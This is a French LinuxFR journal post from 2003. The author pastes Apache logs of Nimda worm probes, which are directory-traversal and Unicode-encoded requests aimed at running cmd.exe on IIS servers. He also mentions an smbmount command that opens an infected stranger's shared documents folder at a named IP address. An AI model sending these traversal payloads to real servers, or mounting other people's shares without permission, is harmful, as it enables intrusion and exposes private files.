URL: https://linuxfr.org/users/samds/journaux/nimd4-sux
Title: Nimd4 Sux !
Authors: samds
Date: 2003年01月12日T09:46:36+01:00
Tags: 
Score: 0
Je suis passe en ADSL le 26 novembre. Mes logs Apache (1.3.27) depuis cette date ressemblent a ca :
81.56.193.41 - - [25/Dec/2002:01:05:47 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:49 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:51 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:52 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:54 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:56 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:05:58 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:00 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:02 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:04 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:06 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:09 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:11 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
81.56.193.41 - - [25/Dec/2002:01:06:14 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
81.56.193.41 - - [25/Dec/2002:01:06:16 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.193.41 - - [25/Dec/2002:01:06:19 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:44 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:44 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:44 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:45 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:45 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:46 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:46 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:46 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:47 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:48 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:48 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:48 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:49 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
81.56.39.39 - - [25/Dec/2002:11:16:49 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
81.56.39.39 - - [25/Dec/2002:11:16:49 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
81.56.39.39 - - [25/Dec/2002:11:16:50 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
alors bon :)
le plus fun, c'est que si tu fais ca :
smbmount //81.56.39.39/SharedDocs /mnt/tmp
tu as acces au repertoire Documents Partages du bouffon ...
y'aurais pas un moyen d'arreter ce truc ? parce que ca pollue les logs a une vitesse !
d'un autre cote, j'me dis que c'est fou le nombre de mecs qui sont infectes par ce ver. c'en est presque a mourir de rire !
++
</div><div class="naked_ctrl">
<form action="/index.cgi/contrast" method="get" name="gate">
<p><a href="http://altstyle.alfasado.net">AltStyle</a> によって変換されたページ <a href="httpS://linuxfr.org/users/samds/journaux/nimd4-sux.md">(-&gt;オリジナル)</a>
/ <label>アドレス: <input type="text" name="naked_post_url" value="httpS://linuxfr.org/users/samds/journaux/nimd4-sux.md" size="22" /></label> <label>モード: <select name="naked_post_mode">
<option value="default">デフォルト</option>
<option value="speech">音声ブラウザ</option>
<option value="ruby">ルビ付き</option>
<option value="contrast" selected="selected">配色反転</option>
<option value="larger-text">文字拡大</option>
<option value="mobile">モバイル</option>
</select>
<input type="submit" value="表示" />
</p>
</form>
</div>